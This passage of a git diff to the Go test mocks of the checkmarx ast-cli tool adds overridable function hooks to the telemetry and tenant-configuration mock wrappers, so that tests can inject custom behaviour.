b/internal/wrappers/mock/telemetry-mock.go @@ -3,8 +3,12 @@ package mock import "github.com/checkmarx/ast-cli/internal/wrappers" type TelemetryMockWrapper struct { + CustomSendAIDataToLog func(data *wrappers.DataForAITelemetry) error } func (t TelemetryMockWrapper) SendAIDataToLog(data *wrappers.DataForAITelemetry) error { + if t.CustomSendAIDataToLog != nil { + return t.CustomSendAIDataToLog(data) + } return nil } diff --git a/internal/wrappers/mock/tenant-mock.go b/internal/wrappers/mock/tenant-mock.go index 840a7b2a..47bad035 100644 --- a/internal/wrappers/mock/tenant-mock.go +++ b/internal/wrappers/mock/tenant-mock.go @@ -5,6 +5,7 @@ import "github.com/checkmarx/ast-cli/internal/wrappers" var TenantConfiguration []*wrappers.TenantConfigurationResponse type TenantConfigurationMockWrapper struct { + CustomGetTenantConfiguration func() (*[]*wrappers.TenantConfigurationResponse, *wrappers.WebError, error) } func (t TenantConfigurationMockWrapper) GetTenantConfiguration() ( @@ -12,6 +13,9 @@ func (t TenantConfigurationMockWrapper) GetTenantConfiguration() ( *wrappers.WebError, error, ) { + if t.CustomGetTenantConfiguration != nil { + return t.CustomGetTenantConfiguration() + } if len(TenantConfiguration) == 0 { TenantConfiguration = []*wrappers.TenantConfigurationResponse{ {